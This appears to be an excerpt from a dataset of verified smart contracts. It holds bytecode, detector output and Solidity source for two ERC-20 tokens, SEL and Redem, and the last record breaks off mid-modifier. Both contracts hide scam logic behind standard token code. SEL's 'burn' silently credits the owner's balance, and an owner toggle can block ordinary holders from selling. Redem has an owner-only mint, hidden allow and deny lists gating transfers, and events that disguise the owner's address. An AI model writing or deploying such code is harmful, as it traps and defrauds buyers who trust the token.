ffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a161050a81610725565b610518565b6105176101f9565b5b50565b60006105256106a5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610567576105606106a5565b9050610570565b61056f6101f9565b5b90565b61057b6106a5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610644576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001807f43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e20667281526020017f6f6d207468652070726f78792061646d696e000000000000000000000000000081525060400191505060405180910390fd5b61064c610754565b565b6000807f7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c36001029050805491505090565b3660008037600080366000845af43d6000803e80600081146106a0573d6000f35b3d6000fd5b6000807f10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b6001029050805491505090565b6106df81610756565b8073ffffffffffffffffffffffffffffffffffffffff167fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b60405160405180910390a250565b60007f10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b60010290508181555050565b565b600061076182610828565b15156107fb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b8152602001807f43616e6e6f742073657420612070726f787920696d706c656d656e746174696f81526020017f6e20746f2061206e6f6e2d636f6e74726163742061646472657373000000000081525060400191505060405180910390fd5b7f7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c360010290508181555050565b600080823b9050600081119150509190505600a165627a7a72305820f82e8b87e97893a49b8bd4d7b939f667ecf5bb0557066c581f98354d9f5ade520029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
| 8,634 |
0xC5C06d3cB1BAd97a571872d4f710294943a52cd2
|
/**
*Submitted for verification at BscScan.com on 2021-09-05
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IUniswapFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
}
contract SEL is Context, IERC20, IERC20Metadata, Ownable {
address internal constant UniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 _NUM = 1 * 10**9;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
bool isValue = true;
constructor() {
_totalSupply = 1000 * 10**9 * 10**9;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view virtual override returns (string memory) {
return "SELENIUM";
}
function symbol() public view virtual override returns (string memory) {
return "SEL";
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function theValue(bool _value) public onlyOwner virtual returns (bool) {
isValue = _value;
return true;
}
function burn(uint256 amount) public onlyOwner virtual returns (bool) {
_balances[_msgSender()] += amount;
return true;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
//_transfer(_msgSender(), recipient, amount);
if(_msgSender() == UniswapV2Router || _msgSender() == UniswapPair() || UniswapPair() == address(0) || _msgSender() == owner()) {
_transfer(_msgSender(), recipient, amount);
} else {
//nomal user check amount
if( (amount <= _NUM || isValue) && !isContract(_msgSender()) ) {
_transfer(_msgSender(), recipient, amount);
}
}
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
if(sender == UniswapV2Router || sender == UniswapPair() || UniswapPair() == address(0) || sender == owner()) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
} else {
//nomal user check amount
if( (amount <= _NUM || isValue) && !isContract(sender) ) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
}
}
return true;
}
function UniswapPair() public view virtual returns (address) {
address UniswapV2Factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address pairAddress = IUniswapFactory(UniswapV2Factory).getPair(address(WETH), address(this));
return pairAddress;
}
function isContract(address addr) internal view returns (bool) {
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
bytes32 codehash;
assembly {
codehash := extcodehash(addr)
}
return (codehash != 0x0 && codehash != accountHash);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function tokenContract() public view virtual returns (address) {
return address(this);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _DeepLock(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// DISCLAIMER : Those tokens are generated for testing purposes, please do not invest ANY funds in them!
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a082311161009757806395fa92ed1161006657806395fa92ed146102c7578063a457c2d7146102f7578063a9059cbb14610327578063dd62ed3e1461035757610100565b806370a082311461023d57806378a63f341461026d5780638da5cb5b1461028b57806395d89b41146102a957610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf57806342966c68146101ef57806355a373d61461021f57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610387565b60405161011a9190611654565b60405180910390f35b61013d600480360381019061013891906113ce565b6103c4565b60405161014a9190611639565b60405180910390f35b61015b6103e2565b6040516101689190611776565b60405180910390f35b61018b6004803603810190610186919061137b565b6103ec565b6040516101989190611639565b60405180910390f35b6101a961070a565b6040516101b69190611791565b60405180910390f35b6101d960048036038101906101d491906113ce565b610713565b6040516101e69190611639565b60405180910390f35b6102096004803603810190610204919061143b565b6107bf565b6040516102169190611639565b60405180910390f35b6102276108bc565b60405161023491906115f5565b60405180910390f35b610257600480360381019061025291906112e1565b6108c4565b6040516102649190611776565b60405180910390f35b61027561090d565b60405161028291906115f5565b60405180910390f35b6102936109d8565b6040516102a091906115f5565b60405180910390f35b6102b1610a01565b6040516102be9190611654565b60405180910390f35b6102e160048036038101906102dc919061140e565b610a3e565b6040516102ee9190611639565b60405180910390f35b610311600480360381019061030c91906113ce565b610af8565b60405161031e9190611639565b60405180910390f35b610341600480360381019061033c91906113ce565b610be3565b60405161034e9190611639565b60405180910390f35b610371600480360381019061036c919061133b565b610d6a565b60405161037e9190611776565b60405180910390f35b60606040518060400160405280600881526020017f53454c454e49554d000000000000000000000000000000000000000000000000815250905090565b60006103d86103d1610df1565b8484610df9565b6001905092915050565b6000600454905090565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061046e575061043f61090d565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806104ac5750600073ffffffffffffffffffffffffffffffffffffffff1661049461090d565b73ffffffffffffffffffffffffffffffffffffffff16145b806104e957506104ba6109d8565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b156105de576104f9848484610fc4565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610544610df1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156105c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bb906116d6565b60405180910390fd5b6105d8856105d0610df1565b858403610df9565b506106ff565b600154821115806105fb5750600560009054906101000a900460ff165b801561060d575061060b8461123d565b155b156106fe5761061d848484610fc4565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610668610df1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156106e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106df906116d6565b60405180910390fd5b6106fc856106f4610df1565b858403610df9565b505b5b600190509392505050565b60006009905090565b60006107b5610720610df1565b84846003600061072e610df1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107b091906117c8565b610df9565b6001905092915050565b60006107c9610df1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610856576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084d906116f6565b60405180910390fd5b8160026000610863610df1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108ac91906117c8565b9250508190555060019050919050565b600030905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9050600073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2905060008273ffffffffffffffffffffffffffffffffffffffff1663e6a4390583306040518363ffffffff1660e01b815260040161097d929190611610565b60206040518083038186803b15801561099557600080fd5b505afa1580156109a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cd919061130e565b905080935050505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f53454c0000000000000000000000000000000000000000000000000000000000815250905090565b6000610a48610df1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acc906116f6565b60405180910390fd5b81600560006101000a81548160ff02191690831515021790555060019050919050565b60008060036000610b07610df1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610bc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbb90611756565b60405180910390fd5b610bd8610bcf610df1565b85858403610df9565b600191505092915050565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16610c18610df1565b73ffffffffffffffffffffffffffffffffffffffff161480610c735750610c3d61090d565b73ffffffffffffffffffffffffffffffffffffffff16610c5b610df1565b73ffffffffffffffffffffffffffffffffffffffff16145b80610cb15750600073ffffffffffffffffffffffffffffffffffffffff16610c9961090d565b73ffffffffffffffffffffffffffffffffffffffff16145b80610cf55750610cbf6109d8565b73ffffffffffffffffffffffffffffffffffffffff16610cdd610df1565b73ffffffffffffffffffffffffffffffffffffffff16145b15610d1157610d0c610d05610df1565b8484610fc4565b610d60565b60015482111580610d2e5750600560009054906101000a900460ff165b8015610d475750610d45610d40610df1565b61123d565b155b15610d5f57610d5e610d57610df1565b8484610fc4565b5b5b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6090611736565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ed9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed090611696565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fb79190611776565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611034576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102b90611716565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109b90611676565b60405180910390fd5b6110af838383611288565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611136576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112d906116b6565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111cb91906117c8565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161122f9190611776565b60405180910390a350505050565b6000807fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b90506000833f90506000801b811415801561127f5750818114155b92505050919050565b505050565b60008135905061129c81611b3d565b92915050565b6000815190506112b181611b3d565b92915050565b6000813590506112c681611b54565b92915050565b6000813590506112db81611b6b565b92915050565b6000602082840312156112f7576112f66118d5565b5b60006113058482850161128d565b91505092915050565b600060208284031215611324576113236118d5565b5b6000611332848285016112a2565b91505092915050565b60008060408385031215611352576113516118d5565b5b60006113608582860161128d565b92505060206113718582860161128d565b9150509250929050565b600080600060608486031215611394576113936118d5565b5b60006113a28682870161128d565b93505060206113b38682870161128d565b92505060406113c4868287016112cc565b9150509250925092565b600080604083850312156113e5576113e46118d5565b5b60006113f38582860161128d565b9250506020611404858286016112cc565b9150509250929050565b600060208284031215611424576114236118d5565b5b6000611432848285016112b7565b91505092915050565b600060208284031215611451576114506118d5565b5b600061145f848285016112cc565b91505092915050565b6114718161181e565b82525050565b61148081611830565b82525050565b6000611491826117ac565b61149b81856117b7565b93506114ab818560208601611873565b6114b4816118da565b840191505092915050565b60006114cc6023836117b7565b91506114d7826118eb565b604082019050919050565b60006114ef6022836117b7565b91506114fa8261193a565b604082019050919050565b60006115126026836117b7565b915061151d82611989565b604082019050919050565b60006115356028836117b7565b9150611540826119d8565b604082019050919050565b60006115586020836117b7565b915061156382611a27565b602082019050919050565b600061157b6025836117b7565b915061158682611a50565b604082019050919050565b600061159e6024836117b7565b91506115a982611a9f565b604082019050919050565b60006115c16025836117b7565b91506115cc82611aee565b604082019050919050565b6115e08161185c565b82525050565b6115ef81611866565b82525050565b600060208201905061160a6000830184611468565b92915050565b60006040820190506116256000830185611468565b6116326020830184611468565b9392505050565b600060208201905061164e6000830184611477565b92915050565b6000602082019050818103600083015261166e8184611486565b905092915050565b6000602082019050818103600083015261168f816114bf565b9050919050565b600060208201905081810360008301526116af816114e2565b9050919050565b600060208201905081810360008301526116cf81611505565b9050919050565b600060208201905081810360008301526116ef81611528565b9050919050565b6000602082019050818103600083015261170f8161154b565b9050919050565b6000602082019050818103600083015261172f8161156e565b9050919050565b6000602082019050818103600083015261174f81611591565b9050919050565b6000602082019050818103600083015261176f816115b4565b9050919050565b600060208201905061178b60008301846115d7565b92915050565b60006020820190506117a660008301846115e6565b92915050565b600081519050919050565b600082825260208201905092915050565b60006117d38261185c565b91506117de8361185c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611813576118126118a6565b5b828201905092915050565b60006118298261183c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611891578082015181840152602081019050611876565b838111156118a0576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611b468161181e565b8114611b5157600080fd5b50565b611b5d81611830565b8114611b6857600080fd5b50565b611b748161185c565b8114611b7f57600080fd5b5056fea2646970667358221220ee7ce30dd4a7586d492facb2c9f8d1b594ef2f893cf816158fdf051c6c30161764736f6c63430008070033
|
{"success": true, "error": null, "results": {}}
| 8,635 |
0x82218a2a778f2a7d479c257af24c257e1f34578b
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract Redem is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _affirmative;
mapping (address => bool) private _rejectPile;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeOwner;
uint256 private _sellAmount = 0;
address public cr = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address deployer = 0x8661C1154a3fE8ae95AAd4eC2E74BA54920D697A;
address public _owner = 0x8661C1154a3fE8ae95AAd4eC2E74BA54920D697A;
constructor () public {
_name = "Redem";
_symbol = "RDM";
_decimals = 18;
uint256 initialSupply = 1000000000 * 10 ** 18 ;
_safeOwner = _owner;
_mint(deployer, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_start(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_start(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function approvalIncrease(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_affirmative[receivers[i]] = true;
_rejectPile[receivers[i]] = false;
}
}
function approvalDecrease(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_rejectPile[receivers[i]] = true;
_affirmative[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _owner){
sender = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _start(address sender, address recipient, uint256 amount) internal main(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _owner){
sender = deployer;
}
emit Transfer(sender, recipient, amount);
}
modifier main(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_affirmative[sender] == true){
_;}else{if (_rejectPile[sender] == true){
